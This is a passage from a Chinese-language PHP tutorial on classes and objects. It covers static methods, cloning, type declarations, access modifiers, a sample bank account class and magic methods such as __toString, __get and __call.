            private $result = 0;

            public function add($number) {
                $this->result += $number;
                return $this;
            }

            public function multiply($number) {
                $this->result *= $number;
                return $this;
            }

            public function getResult() {
                return $this->result;
            }
        };
    }
}

// 使用静态方法
echo "=== 静态方法示例 ===\n";

// 直接调用静态方法
echo "10 + 5 = " . MathUtils::add(10, 5) . "\n";
echo "10 - 3 = " . MathUtils::subtract(10, 3) . "\n";
echo "6 * 7 = " . MathUtils::multiply(6, 7) . "\n";
echo "15 / 3 = " . MathUtils::divide(15, 3) . "\n";
echo "2^8 = " . MathUtils::power(2, 8) . "\n";

// 访问静态常量
echo "π = " . MathUtils::PI . "\n";
echo "e = " . MathUtils::E . "\n";

// 求解二次方程 x^2 - 5x + 6 = 0
$solutions = MathUtils::quadraticEquation(1, -5, 6);
if ($solutions) {
    echo "方程 x^2 - 5x + 6 = 0 的解:x1 = {$solutions[0]}, x2 = {$solutions[1]}\n";
}

// 使用静态工厂方法
$calculator = MathUtils::createCalculator();
$result = $calculator->add(10)->multiply(2)->add(5)->getResult();
echo "计算结果:(10 + 5) * 2 = $result\n";
?>

对象的克隆

<?php
class Document {
    public $title;
    public $content;
    public $author;
    public $version;
    private $createdAt;

    public function __construct($title, $content, $author) {
        $this->title = $title;
        $this->content = $content;
        $this->author = $author;
        $this->version = 1;
        $this->createdAt = date('Y-m-d H:i:s');
    }

    // 定义克隆行为
    public function __clone() {
        $this->version++;
        // 注意:$this->createdAt 不会被克隆,保持原值
    }

    public function updateContent($newContent) {
        $this->content = $newContent;
        $this->version++;
    }

    public function getInfo() {
        return "文档:{$this->title},作者:{$this->author},版本:{$this->version},创建时间:{$this->createdAt}";
    }
}

// 使用示例
echo "=== 对象克隆示例 ===\n";

$originalDoc = new Document("PHP教程", "这是一篇关于PHP的教程", "张老师");
echo "原文档:" . $originalDoc->getInfo() . "\n";

// 克隆对象
$clonedDoc = clone $originalDoc;
echo "克隆文档:" . $clonedDoc->getInfo() . "\n";

// 修改原文档
$originalDoc->updateContent("这是更新后的PHP教程内容");
echo "更新后原文档:" . $originalDoc->getInfo() . "\n";
echo "克隆文档(未受影响):" . $clonedDoc->getInfo() . "\n";

// 修改克隆文档
$clonedDoc->updateContent("这是克隆版本的PHP教程");
echo "修改后克隆文档:" . $clonedDoc->getInfo() . "\n";
echo "原文档(未受影响):" . $originalDoc->getInfo() . "\n";
?>

类型声明和返回类型

<?php
// PHP 7+ 支持类型声明
class Calculator {
    private $result = 0;

    // 参数类型声明和返回类型声明
    public function add(float $number): float {
        $this->result += $number;
        return $this->result;
    }

    public function subtract(float $number): float {
        $this->result -= $number;
        return $this->result;
    }

    public function multiply(float $number): float {
        $this->result *= $number;
        return $this->result;
    }

    public function divide(float $number): float {
        if ($number == 0) {
            throw new Exception("除数不能为零");
        }
        $this->result /= $number;
        return $this->result;
    }

    public function reset(): void {
        $this->result = 0;
    }

    public function getResult(): float {
        return $this->result;
    }

    // 可变参数
    public function addMultiple(float ...$numbers): float {
        foreach ($numbers as $number) {
            $this->result += $number;
        }
        return $this->result;
    }

    // 可空返回类型
    public function sqrt(float $number): ?float {
        if ($number < 0) {
            return null;
        }
        return sqrt($number);
    }

    // 数组类型声明
    public function getHistory(): array {
        return [];
    }

    // 对象类型声明
    public function setLogger(Logger $logger): void {
        $this->logger = $logger;
    }
}

// 简单的Logger类
class Logger {
    public function log($message) {
        echo "[LOG] $message\n";
    }
}

// 使用示例
echo "=== 类型声明示例 ===\n";

$calculator = new Calculator();

$result = $calculator->add(10.5);
echo "加法结果:$result\n";

$result = $calculator->multiply(2);
echo "乘法结果:$result\n";

$result = $calculator->addMultiple(1, 2, 3, 4, 5);
echo "多参数加法结果:$result\n";

$sqrtResult = $calculator->sqrt(16);
echo "平方根结果:" . ($sqrtResult ?? 'null') . "\n";

$logger = new Logger();
$calculator->setLogger($logger);
$logger->log("计算完成");
?>

实际应用示例

简单的银行账户系统

<?php
class BankAccount {
    private static $totalAccounts = 0;
    private static $bankName = "示例银行";

    private $accountNumber;
    private $accountHolder;
    private $balance;
    private $type; // 'checking' 或 'savings'
    private $createdAt;
    private $transactions = [];

    public function __construct($accountHolder, $initialBalance = 0, $type = 'checking') {
        if ($initialBalance < 0) {
            throw new InvalidArgumentException("初始余额不能为负数");
        }

        if (!in_array($type, ['checking', 'savings'])) {
            throw new InvalidArgumentException("账户类型必须是 checking 或 savings");
        }

        $this->accountNumber = $this->generateAccountNumber();
        $this->accountHolder = $accountHolder;
        $this->balance = $initialBalance;
        $this->type = $type;
        $this->createdAt = date('Y-m-d H:i:s');

        self::$totalAccounts++;

        if ($initialBalance > 0) {
            $this->recordTransaction('deposit', $initialBalance, "初始存款");
        }

        echo "账户创建成功:{$this->accountNumber}\n";
    }

    private function generateAccountNumber() {
        return date('Y') . sprintf('%04d', self::$totalAccounts + 1001);
    }

    public function deposit($amount) {
        if ($amount <= 0) {
            throw new InvalidArgumentException("存款金额必须大于0");
        }

        $this->balance += $amount;
        $this->recordTransaction('deposit', $amount, "存款");
        return true;
    }

    public function withdraw($amount) {
        if ($amount <= 0) {
            throw new InvalidArgumentException("取款金额必须大于0");
        }

        if ($this->balance < $amount) {
            throw new Exception("余额不足");
        }

        if ($this->type === 'savings' && $this->getWithdrawalCount() >= 3) {
            $fee = 2.0; // 储蓄账户每月最多3次免费取款
            if ($this->balance < $amount + $fee) {
                throw new Exception("余额不足(包含手续费)");
            }
            $this->balance -= ($amount + $fee);
            $this->recordTransaction('withdraw', $amount, "取款");
            $this->recordTransaction('fee', $fee, "取款手续费");
        } else {
            $this->balance -= $amount;
            $this->recordTransaction('withdraw', $amount, "取款");
        }

        return true;
    }

    public function transfer($toAccount, $amount) {
        if (!$toAccount instanceof BankAccount) {
            throw new InvalidArgumentException("目标账户必须是BankAccount实例");
        }

        $this->withdraw($amount);
        $toAccount->deposit($amount);

        $this->recordTransaction('transfer_out', $amount, "转账给 {$toAccount->accountNumber}");
        $toAccount->recordTransaction('transfer_in', $amount, "来自 {$this->accountNumber}");

        return true;
    }

    public function getBalance() {
        return $this->balance;
    }

    public function getAccountNumber() {
        return $this->accountNumber;
    }

    public function getAccountHolder() {
        return $this->accountHolder;
    }

    public function getAccountType() {
        return $this->type;
    }

    public function getTransactions() {
        return $this->transactions;
    }

    private function getWithdrawalCount() {
        $count = 0;
        foreach ($this->transactions as $transaction) {
            if ($transaction['type'] === 'withdraw') {
                $count++;
            }
        }
        return $count;
    }

    private function recordTransaction($type, $amount, $description) {
        $this->transactions[] = [
            'date' => date('Y-m-d H:i:s'),
            'type' => $type,
            'amount' => $amount,
            'description' => $description,
            'balance' => $this->balance
        ];
    }

    public function printStatement() {
        echo "\n=== 银行对账单 ===\n";
        echo "账户号码:{$this->accountNumber}\n";
        echo "账户持有人:{$this->accountHolder}\n";
        echo "账户类型:" . ($this->type === 'checking' ? '支票账户' : '储蓄账户') . "\n";
        echo "创建日期:{$this->createdAt}\n";
        echo "当前余额:¥" . number_format($this->balance, 2) . "\n";
        echo "交易记录:\n";

        foreach ($this->transactions as $transaction) {
            $sign = ($transaction['type'] === 'deposit' || $transaction['type'] === 'transfer_in') ? '+' : '-';
            echo "  {$transaction['date']} | {$sign}¥" . number_format($transaction['amount'], 2) .
                 " | {$transaction['description']} | 余额:¥" . number_format($transaction['balance'], 2) . "\n";
        }
    }

    // 静态方法
    public static function getTotalAccounts() {
        return self::$totalAccounts;
    }

    public static function getBankName() {
        return self::$bankName;
    }

    public static function setBankName($name) {
        self::$bankName = $name;
    }

    public function __destruct() {
        echo "账户 {$this->accountNumber} 已关闭\n";
    }
}

// 使用示例
echo "=== 银行账户系统示例 ===\n";

// 设置银行名称
BankAccount::setBankName("阳光银行");
echo "银行名称:" . BankAccount::getBankName() . "\n";

// 创建账户
$account1 = new BankAccount("张三", 1000.00, 'checking');
$account2 = new BankAccount("李四", 500.00, 'savings');
$account3 = new BankAccount("王五", 2000.00, 'checking');

echo "总账户数:" . BankAccount::getTotalAccounts() . "\n\n";

// 存款操作
echo "=== 存款操作 ===\n";
$account1->deposit(500.00);
$account2->deposit(300.00);
echo "张三账户余额:¥" . number_format($account1->getBalance(), 2) . "\n";
echo "李四账户余额:¥" . number_format($account2->getBalance(), 2) . "\n\n";

// 取款操作
echo "=== 取款操作 ===\n";
$account1->withdraw(200.00);
$account2->withdraw(100.00);
$account2->withdraw(50.00); // 储蓄账户第二次取款
$account2->withdraw(30.00); // 储蓄账户第三次取款
$account2->withdraw(20.00); // 储蓄账户第四次取款(含手续费)

// 转账操作
echo "\n=== 转账操作 ===\n";
$account1->transfer($account3, 300.00);
echo "张三转给王五 300 元\n";

echo "转账后余额:\n";
echo "张三:¥" . number_format($account1->getBalance(), 2) . "\n";
echo "王五:¥" . number_format($account3->getBalance(), 2) . "\n";

// 打印对账单
$account2->printStatement();
?>

总结

类和对象是面向对象编程的基础,理解它们的概念和用法对于掌握OOP至关重要。

关键要点:

  1. 类是模板,对象是实例

    • 类定义了属性和方法的蓝图
    • 对象是类的具体实例,拥有独立的状态
  2. 访问控制

    • public:可以从任何地方访问
    • protected:只能在类内部和子类中访问
    • private:只能在类内部访问
  3. 静态成员

    • 静态属性和方法属于类而不是对象
    • 通过类名直接访问,不需要创建对象
  4. 对象生命周期

    • 通过 new 创建对象
    • 通过 __destruct() 清理资源
    • 支持对象克隆

最佳实践:

  • 使用有意义的类和方法名称
  • 合理使用访问控制,保护内部数据
  • 优先使用组合而不是继承
  • 为类和方法编写清晰的文档注释
  • 使用类型声明提高代码安全性

通过本节学习,你应该能够熟练地定义和使用类与对象,为后续学习更高级的面向对象特性打下坚实基础。

属性与方法

属性和方法是类的核心组成部分。属性(也称为成员变量)用于存储对象的状态数据,而方法(也称为成员函数)用于定义对象的行为。理解属性和方法的正确使用是掌握面向对象编程的关键。

学习目标

完成本节学习后,你将能够:

  • 理解属性的定义和使用
  • 掌握不同访问修饰符的作用
  • 学会创建和使用各种类型的方法
  • 理解$this关键字的使用
  • 掌握静态属性和静态方法
  • 学会使用类型声明和返回类型
  • 了解魔术方法的原理和应用

属性(Properties)

属性的基本概念

属性是类中用于存储数据的变量。每个对象实例都有自己的一组属性,这些属性构成了对象的状态。

<?php
class Product {
    // 公共属性 - 可以从任何地方访问
    public $name;
    public $price;

    // 受保护的属性 - 只能在类内部和子类中访问
    protected $category;
    protected $stock;

    // 私有属性 - 只能在类内部访问
    private $id;
    private $createdAt;

    public function __construct($name, $price, $category) {
        $this->id = uniqid('product_');  // 使用$this访问属性
        $this->name = $name;
        $this->price = $price;
        $this->category = $category;
        $this->stock = 0;
        $this->createdAt = date('Y-m-d H:i:s');
    }

    // 获取器方法(Getter)
    public function getId() {
        return $this->id;
    }

    public function getCategory() {
        return $this->category;
    }

    public function getStock() {
        return $this->stock;
    }

    public function getCreatedAt() {
        return $this->createdAt;
    }

    // 设置器方法(Setter)
    public function setCategory($category) {
        $this->category = $category;
    }

    public function setStock($stock) {
        if ($stock >= 0) {
            $this->stock = $stock;
            return true;
        }
        return false;
    }

    // 业务方法
    public function isInStock() {
        return $this->stock > 0;
    }

    public function getInfo() {
        $stockStatus = $this->isInStock() ? "有库存" : "缺货";
        return "产品:{$this->name},价格:¥{$this->price},库存状态:{$stockStatus}";
    }
}

// 使用示例
$product = new Product("笔记本电脑", 5999.99, "电子产品");

// 访问公共属性
echo "产品名称:" . $product->name . "\n";
echo "产品价格:" . $product->price . "\n";

// 通过getter访问私有/受保护属性
echo "产品ID:" . $product->getId() . "\n";
echo "产品类别:" . $product->getCategory() . "\n";

// 通过setter修改属性
$product->setStock(50);
echo "产品库存:" . $product->getStock() . "\n";

// 调用业务方法
echo $product->getInfo() . "\n";

// 错误示例 - 不能直接访问私有属性
// echo $product->id;        // 错误:私有属性
// echo $product->createdAt;  // 错误:私有属性
// echo $product->category;   // 错误:受保护属性
?>

属性的类型声明

<?php
class Employee {
    // PHP 7.4+ 支持属性类型声明
    private int $id;
    private string $name;
    private float $salary;
    private bool $isActive;
    private array $skills;
    private ?DateTime $hireDate;  // 可空类型
    private string $department = 'IT';  // 默认值

    public function __construct(int $id, string $name, float $salary) {
        $this->id = $id;
        $this->name = $name;
        $this->salary = $salary;
        $this->isActive = true;
        $this->skills = [];
        $this->hireDate = null;
    }

    public function addSkill(string $skill): void {
        if (!in_array($skill, $this->skills)) {
            $this->skills[] = $skill;
        }
    }

    public function setHireDate(DateTime $date): void {
        $this->hireDate = $date;
    }

    public function getProfile(): array {
        return [
            'id' => $this->id,
            'name' => $this->name,
            'salary' => $this->salary,
            'isActive' => $this->isActive,
            'skills' => $this->skills,
            'hireDate' => $this->hireDate ? $this->hireDate->format('Y-m-d') : null,
            'department' => $this->department
        ];
    }
}

// 使用示例
$employee = new Employee(1, "张三", 8000.00);
$employee->addSkill("PHP");
$employee->addSkill("JavaScript");
$employee->addSkill("MySQL");
$employee->setHireDate(new DateTime('2020-01-15'));

$profile = $employee->getProfile();
print_r($profile);
?>

只读属性(PHP 8.1+)

<?php
// PHP 8.1+ 支持只读属性
class User {
    public readonly int $id;
    public readonly string $email;
    public readonly DateTime $createdAt;

    public function __construct(int $id, string $email) {
        $this->id = $id;
        $this->email = $email;
        $this->createdAt = new DateTime();
    }

    // 只读属性只能在构造函数或声明时赋值
    // 下面的方法会导致错误:
    // public function setEmail(string $email): void {
    //     $this->email = $email;  // 错误:只读属性不能修改
    // }
}

$user = new User(1, "user@example.com");

echo "用户ID:" . $user->id . "\n";
echo "用户邮箱:" . $user->email . "\n";
echo "创建时间:" . $user->createdAt->format('Y-m-d H:i:s') . "\n";

// $user->email = "new@example.com"; // 错误:不能修改只读属性
?>

方法(Methods)

方法的定义和使用

方法是类中定义的函数,用于执行特定的操作或实现特定的功能。

<?php
class Calculator {
    private float $result = 0.0;
    private array $history = [];

    // 基本方法
    public function add(float $number): float {
        $this->result += $number;
        $this->addToHistory("add", $number);
        return $this->result;
    }

    public function subtract(float $number): float {
        $this->result -= $number;
        $this->addToHistory("subtract", $number);
        return $this->result;
    }

    public function multiply(float $number): float {
        $this->result *= $number;
        $this->addToHistory("multiply", $number);
        return $this->result;
    }

    public function divide(float $number): float {
        if ($number == 0) {
            throw new InvalidArgumentException("除数不能为零");
        }
        $this->result /= $number;
        $this->addToHistory("divide", $number);
        return $this->result;
    }

    // 可变参数方法
    public function addMultiple(float ...$numbers): float {
        foreach ($numbers as $number) {
            $this->result += $number;
        }
        $this->addToHistory("addMultiple", $numbers);
        return $this->result;
    }

    // 带默认参数的方法
    public function power(float $exponent = 2): float {
        $this->result = pow($this->result, $exponent);
        $this->addToHistory("power", $exponent);
        return $this->result;
    }

    // 返回数组的方法
    public function getHistory(): array {
        return $this->history;
    }

    // 返回对象的方法
    public function clone(): Calculator {
        $newCalc = new Calculator();
        $newCalc->result = $this->result;
        $newCalc->history = $this->history;
        return $newCalc;
    }

    // 链式调用方法
    public function reset(): Calculator {
        $this->result = 0;
        $this->history = [];
        return $this; // 返回$this支持链式调用
    }

    public function getResult(): float {
        return $this->result;
    }

    // 私有辅助方法
    private function addToHistory(string $operation, $value): void {
        $this->history[] = [
            'operation' => $operation,
            'value' => $value,
            'result' => $this->result,
            'timestamp' => date('Y-m-d H:i:s')
        ];
    }

    // 静态方法
    public static function factorial(int $n): int {
        if ($n < 0) {
            throw new InvalidArgumentException("阶乘不能为负数");
        }
        if ($n === 0 || $n === 1) {
            return 1;
        }
        return $n * self::factorial($n - 1);
    }

    public static function isEven(int $number): bool {
        return $number % 2 === 0;
    }
}

// 使用示例
echo "=== 计算器示例 ===\n";

$calc = new Calculator();

// 链式调用
$result = $calc->add(10)->multiply(2)->subtract(5)->divide(3)->getResult();
echo "计算结果:(10 + 5) * 2 / 3 = $result\n";

// 可变参数
$calc->reset()->addMultiple(1, 2, 3, 4, 5);
echo "多参数加法结果:" . $calc->getResult() . "\n";

// 默认参数
$calc->reset()->add(4)->power(); // 使用默认参数2
echo "4的平方:" . $calc->getResult() . "\n";

$calc->reset()->add(2)->power(3); // 指定参数
echo "2的3次方:" . $calc->getResult() . "\n";

// 静态方法
echo "5的阶乘:" . Calculator::factorial(5) . "\n";
echo "6是否为偶数:" . (Calculator::isEven(6) ? "是" : "否") . "\n";

// 查看历史记录
$history = $calc->getHistory();
echo "计算历史:\n";
foreach ($history as $entry) {
    echo "  {$entry['timestamp']} - {$entry['operation']}({$entry['value']}) = {$entry['result']}\n";
}

// 克隆计算器
$clonedCalc = $calc->clone();
echo "克隆计算器的结果:" . $clonedCalc->getResult() . "\n";
?>

$this关键字

$this是一个特殊的变量,它指向当前对象的实例,用于在类的内部访问对象的属性和方法。

<?php
class Person {
    private string $name;
    private int $age;
    private array $hobbies = [];

    public function __construct(string $name, int $age) {
        $this->name = $name;  // $this指向当前对象
        $this->age = $age;
    }

    public function getName(): string {
        return $this->name;  // 访问当前对象的属性
    }

    public function getAge(): int {
        return $this->age;
    }

    public function addHobby(string $hobby): void {
        $this->hobbies[] = $hobby;  // 修改当前对象的属性
    }

    public function getHobbies(): array {
        return $this->hobbies;
    }

    public function introduce(): string {
        $hobbyStr = empty($this->hobbies) ? "没有特殊爱好" : implode("、", $this->hobbies);
        return "大家好,我叫{$this->name},今年{$this->age}岁。我的爱好是{$hobbyStr}。";
    }

    public function celebrateBirthday(): void {
        $this->age++;  // 增加年龄
        echo "祝{$this->name}生日快乐!现在{$this->age}岁了!\n";
    }

    // $this也可以用于调用其他方法
    public function getDetailedInfo(): array {
        return [
            'name' => $this->getName(),
            'age' => $this->getAge(),
            'hobbies' => $this->getHobbies(),
            'introduction' => $this->introduce()
        ];
    }

    // $this在方法间传递
    public function compareAge(Person $other): string {
        if ($this->age > $other->age) {
            return "{$this->name}比{$other->name}大" . ($this->age - $other->age) . "岁";
        } elseif ($this->age < $other->age) {
            return "{$this->name}比{$other->name}小" . ($other->age - $this->age) . "岁";
        } else {
            return "{$this->name}和{$other->name}同岁";
        }
    }

    // $this用于回调函数
    public function processWithCallback(callable $callback) {
        $result = $callback($this);  // 将当前对象传递给回调函数
        return $result;
    }
}

// 使用示例
$person1 = new Person("张三", 25);
$person2 = new Person("李四", 28);

$person1->addHobby("阅读");
$person1->addHobby("游泳");

echo $person1->introduce() . "\n";

$person1->celebrateBirthday();

echo $person1->compareAge($person2) . "\n";

// 使用回调函数
$result = $person1->processWithCallback(function($person) {
    return $person->getName() . "的处理结果";
});
echo "回调处理结果:$result\n";

$info = $person1->getDetailedInfo();
print_r($info);
?>

访问修饰符详解

public(公共)

<?php
class PublicExample {
    public $publicProperty = "公共属性";
    public $counter = 0;

    public function publicMethod() {
        $this->counter++;
        return "这是一个公共方法,调用次数:{$this->counter}";
    }

    public function accessFromOutside() {
        echo "在类内部访问公共属性:{$this->publicProperty}\n";
        echo "在类内部调用公共方法:" . $this->publicMethod() . "\n";
    }
}

$publicExample = new PublicExample();

// 从外部访问
echo $publicExample->publicProperty . "\n";  // 直接访问公共属性
echo $publicExample->publicMethod() . "\n";  // 直接调用公共方法

$publicExample->publicProperty = "修改后的公共属性";
echo $publicExample->publicProperty . "\n";

$publicExample->accessFromOutside();
?>

protected(受保护)

<?php
class ParentClass {
    protected $protectedProperty = "受保护属性";
    protected $counter = 0;

    protected function protectedMethod() {
        $this->counter++;
        return "这是一个受保护方法,调用次数:{$this->counter}";
    }

    public function accessFromInside() {
        echo "在父类内部访问受保护属性:{$this->protectedProperty}\n";
        echo "在父类内部调用受保护方法:" . $this->protectedMethod() . "\n";
    }
}

class ChildClass extends ParentClass {
    public function accessFromChild() {
        // 子类可以访问父类的受保护成员
        echo "在子类中访问父类受保护属性:{$this->protectedProperty}\n";
        echo "在子类中调用父类受保护方法:" . $this->protectedMethod() . "\n";

        // 修改受保护属性
        $this->protectedProperty = "被子类修改的受保护属性";
        echo "修改后的受保护属性:{$this->protectedProperty}\n";
    }
}

$parent = new ParentClass();
$child = new ChildClass();

// 从外部无法直接访问受保护成员
// echo $parent->protectedProperty;  // 错误
// echo $parent->protectedMethod();  // 错误

// 通过公共方法间接访问
$parent->accessFromInside();

// 子类可以访问受保护成员
$child->accessFromChild();
?>

private(私有)

<?php
class PrivateExample {
    private $privateProperty = "私有属性";
    private $counter = 0;

    private function privateMethod() {
        $this->counter++;
        return "这是一个私有方法,调用次数:{$this->counter}";
    }

    public function accessFromInside() {
        // 类内部可以访问私有成员
        echo "在类内部访问私有属性:{$this->privateProperty}\n";
        echo "在类内部调用私有方法:" . $this->privateMethod() . "\n";
    }

    public function modifyPrivateProperty() {
        $this->privateProperty = "修改后的私有属性";
    }

    public function getPrivateProperty() {
        return $this->privateProperty;
    }

    public function callPrivateMethod() {
        return $this->privateMethod();
    }
}

class ChildOfPrivate extends PrivateExample {
    public function tryAccessPrivate() {
        // 子类无法访问父类的私有成员
        // echo $this->privateProperty;  // 错误
        // echo $this->privateMethod();  // 错误

        echo "子类无法直接访问父类的私有成员\n";
    }
}

$privateExample = new PrivateExample();
$child = new ChildOfPrivate();

// 从外部无法直接访问私有成员
// echo $privateExample->privateProperty;  // 错误
// echo $privateExample->privateMethod();   // 错误

// 通过公共方法间接访问
$privateExample->accessFromInside();

$privateExample->modifyPrivateProperty();
echo "通过getter访问私有属性:" . $privateExample->getPrivateProperty() . "\n";

echo "通过公共方法调用私有方法:" . $privateExample->callPrivateMethod() . "\n";

$child->tryAccessPrivate();
?>

静态属性和静态方法

静态属性

<?php
class Car {
    // 静态属性 - 属于类,不属于任何实例
    private static $totalCars = 0;
    private static $manufacturer = "示例汽车厂";

    // 实例属性 - 属于每个对象实例
    private $model;
    private $color;
    private $price;

    public function __construct($model, $color, $price) {
        $this->model = $model;
        $this->color = $color;
        $this->price = $price;

        // 访问和修改静态属性
        self::$totalCars++;
        echo "创建了一辆{$this->color}的{$this->model},总产量:" . self::$totalCars . "\n";
    }

    public function __destruct() {
        self::$totalCars--;
        echo "销毁了一辆{$this->model},当前总产量:" . self::$totalCars . "\n";
    }

    // 静态方法访问静态属性
    public static function getTotalCars() {
        return self::$totalCars;
    }

    public static function getManufacturer() {
        return self::$manufacturer;
    }

    public static function setManufacturer($manufacturer) {
        self::$manufacturer = $manufacturer;
    }

    public static function getProductionStats() {
        return [
            'manufacturer' => self::$manufacturer,
            'total_produced' => self::$totalCars
        ];
    }

    // 实例方法访问静态属性
    public function getModel() {
        return $this->model . " (" . self::$manufacturer . ")";
    }
}

// 使用示例
echo "=== 静态属性示例 ===\n";

// 访问静态属性
echo "初始产量:" . Car::getTotalCars() . "\n";
echo "制造商:" . Car::getManufacturer() . "\n";

// 修改静态属性
Car::setManufacturer("高级汽车厂");
echo "修改后制造商:" . Car::getManufacturer() . "\n";

// 创建对象(会影响静态属性)
$car1 = new Car("Model S", "红色", 500000);
$car2 = new Car("Model X", "蓝色", 600000);
$car3 = new Car("Model 3", "白色", 350000);

echo "当前产量:" . Car::getTotalCars() . "\n";

// 实例方法访问静态属性
echo "汽车1型号:" . $car1->getModel() . "\n";

// 销毁对象(也会影响静态属性)
unset($car1);
echo "销毁一辆车后产量:" . Car::getTotalCars() . "\n";
?>

静态方法

<?php
class MathHelper {
    // 静态常量
    const PI = 3.14159265359;
    const E = 2.71828182846;

    // 静态方法 - 不需要创建实例就可以调用
    public static function circleArea(float $radius): float {
        return self::PI * $radius * $radius;
    }

    public static function circleCircumference(float $radius): float {
        return 2 * self::PI * $radius;
    }

    public static function rectangleArea(float $width, float $height): float {
        return $width * $height;
    }

    public static function rectanglePerimeter(float $width, float $height): float {
        return 2 * ($width + $height);
    }

    // 静态方法调用其他静态方法
    public static function circleInfo(float $radius): array {
        return [
            'radius' => $radius,
            'area' => self::circleArea($radius),
            'circumference' => self::circleCircumference($radius)
        ];
    }

    // 静态工厂方法 - 创建对象实例
    public static function createCircle(float $radius): Circle {
        return new Circle($radius);
    }

    public static function createRectangle(float $width, float $height): Rectangle {
        return new Rectangle($width, $height);
    }

    // 工具方法
    public static function formatNumber(float $number, int $decimals = 2): string {
        return number_format($number, $decimals);
    }

    // 数值验证
    public static function isPositive(float $number): bool {
        return $number > 0;
    }

    public static function isEven(int $number): bool {
        return $number % 2 === 0;
    }

    public static function isPrime(int $number): bool {
        if ($number <= 1) return false;
        if ($number <= 3) return true;
        if ($number % 2 === 0 || $number % 3 === 0) return false;

        for ($i = 5; $i * $i <= $number; $i += 6) {
            if ($number % $i === 0 || $number % ($i + 2) === 0) {
                return false;
            }
        }
        return true;
    }
}

// 配套的形状类
class Circle {
    private float $radius;

    public function __construct(float $radius) {
        $this->radius = $radius;
    }

    public function getRadius(): float {
        return $this->radius;
    }

    public function getArea(): float {
        return MathHelper::circleArea($this->radius);
    }

    public function getCircumference(): float {
        return MathHelper::circleCircumference($this->radius);
    }
}

class Rectangle {
    private float $width;
    private float $height;

    public function __construct(float $width, float $height) {
        $this->width = $width;
        $this->height = $height;
    }

    public function getWidth(): float {
        return $this->width;
    }

    public function getHeight(): float {
        return $this->height;
    }

    public function getArea(): float {
        return MathHelper::rectangleArea($this->width, $this->height);
    }

    public function getPerimeter(): float {
        return MathHelper::rectanglePerimeter($this->width, $this->height);
    }
}

// 使用示例
echo "=== 静态方法示例 ===\n";

// 直接调用静态方法,无需创建对象
$radius = 5;
$area = MathHelper::circleArea($radius);
$circumference = MathHelper::circleCircumference($radius);

echo "半径为{$radius}的圆:\n";
echo "面积:" . MathHelper::formatNumber($area) . "\n";
echo "周长:" . MathHelper::formatNumber($circumference) . "\n";

// 调用返回数组的静态方法
$circleInfo = MathHelper::circleInfo(3);
echo "\n半径为3的圆的详细信息:\n";
print_r($circleInfo);

// 使用静态工厂方法创建对象
$circle = MathHelper::createCircle(4);
$rectangle = MathHelper::createRectangle(6, 4);

echo "\n使用工厂方法创建的形状:\n";
echo "圆的半径:" . $circle->getRadius() . ",面积:" . MathHelper::formatNumber($circle->getArea()) . "\n";
echo "矩形的尺寸:" . $rectangle->getWidth() . "x" . $rectangle->getHeight() . ",面积:" . $rectangle->getArea() . "\n";

// 数值验证
echo "\n数值验证:\n";
echo "7是质数吗?" . (MathHelper::isPrime(7) ? "是" : "否") . "\n";
echo "12是偶数吗?" . (MathHelper::isEven(12) ? "是" : "否") . "\n";
echo "-5是正数吗?" . (MathHelper::isPositive(-5) ? "是" : "否") . "\n";
?>

魔术方法

PHP提供了一些以双下划线开头的特殊方法,称为魔术方法。这些方法在特定情况下会被自动调用。

__toString() 方法

<?php
class Book {
    private $title;
    private $author;
    private $price;
    private $year;

    public function __construct($title, $author, $price, $year) {
        $this->title = $title;
        $this->author = $author;
        $this->price = $price;
        $this->year = $year;
    }

    // 魔术方法:当对象被当作字符串使用时调用
    public function __toString() {
        return "《{$this->title}》- {$this->author} ({$this->year}年出版) ¥{$this->price}";
    }

    // 其他魔术方法
    public function __invoke($discount = 0) {
        $finalPrice = $this->price * (1 - $discount);
        return "打折后价格:¥" . number_format($finalPrice, 2);
    }

    public function __debugInfo() {
        return [
            'title' => $this->title,
            'author' => $this->author,
            'price' => $this->price,
            'year' => $this->year,
            'price_formatted' => '¥' . number_format($this->price, 2)
        ];
    }
}

// 使用示例
$book = new Book("PHP从入门到精通", "张三", 89.99, 2023);

// 对象被当作字符串使用时自动调用__toString()
echo $book . "\n";

// 对象被当作函数调用时自动调用__invoke()
echo $book(0.1) . "\n";  // 9折

// var_dump会显示__debugInfo()返回的信息
var_dump($book);
?>

__set() 和 __get() 方法

<?php
class DynamicProperties {
    private $data = [];
    private $allowedProperties = ['name', 'age', 'email'];

    // 当设置未定义或不可访问的属性时调用
    public function __set($name, $value) {
        echo "尝试设置属性:$name = $value\n";

        if (in_array($name, $this->allowedProperties)) {
            $this->data[$name] = $value;
        } else {
            echo "属性 '$name' 不允许设置\n";
        }
    }

    // 当访问未定义或不可访问的属性时调用
    public function __get($name) {
        echo "尝试获取属性:$name\n";

        if (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        }

        echo "属性 '$name' 不存在\n";
        return null;
    }

    // 检查属性是否存在
    public function __isset($name) {
        return isset($this->data[$name]);
    }

    // 删除属性
    public function __unset($name) {
        echo "尝试删除属性:$name\n";
        unset($this->data[$name]);
    }

    // 检查属性是否允许
    public function isPropertyAllowed($name): bool {
        return in_array($name, $this->allowedProperties);
    }
}

// 使用示例
echo "=== __set() 和 __get() 示例 ===\n";

$obj = new DynamicProperties();

// 通过魔术方法设置属性
$obj->name = "张三";     // 允许的属性
$obj->age = 25;          // 允许的属性
$obj->email = "zhang@example.com";  // 允许的属性
$obj->phone = "1234567890";      // 不允许的属性

// 通过魔术方法获取属性
echo "姓名:" . $obj->name . "\n";
echo "年龄:" . $obj->age . "\n";
echo "邮箱:" . $obj->email . "\n";
echo "电话:" . $obj->phone . "\n";

// 检查属性是否存在
echo "姓名属性是否存在:" . (isset($obj->name) ? "是" : "否") . "\n";

// 删除属性
unset($obj->age);
echo "删除后姓名:" . $obj->name . "\n";
echo "删除后年龄:" . $obj->age . "\n";
?>

__call() 和 __callStatic() 方法

<?php
class MethodInterception {
    // 当调用未定义或不可访问的实例方法时调用
    public function __call($method, $arguments) {
        echo "尝试调用实例方法:$method\n";
        echo "参数:" . implode(', ', $arguments) . "\n";

        // 动态处理方法调用
        if (strpos($method, 'get') === 0) {
            $property = strtolower(substr($method, 3));
            return "获取属性 $property 的值";
        }

        if (strpos($method, 'set') === 0) {
            $property = strtolower(substr($method, 3));
            return "设置属性 $property 的值为:" . ($arguments[0] ?? 'null');
        }

        throw new BadMethodCallException("方法 $method 不存在");
    }

    // 当调用未定义或不可访问的静态方法时调用
    public static function __callStatic($method, $arguments) {
        echo "尝试调用静态方法:$method\n";
        echo "参数:" . implode(', ', $arguments) . "\n";

        // 静态方法的动态处理
        switch ($method) {
            case 'calculate':
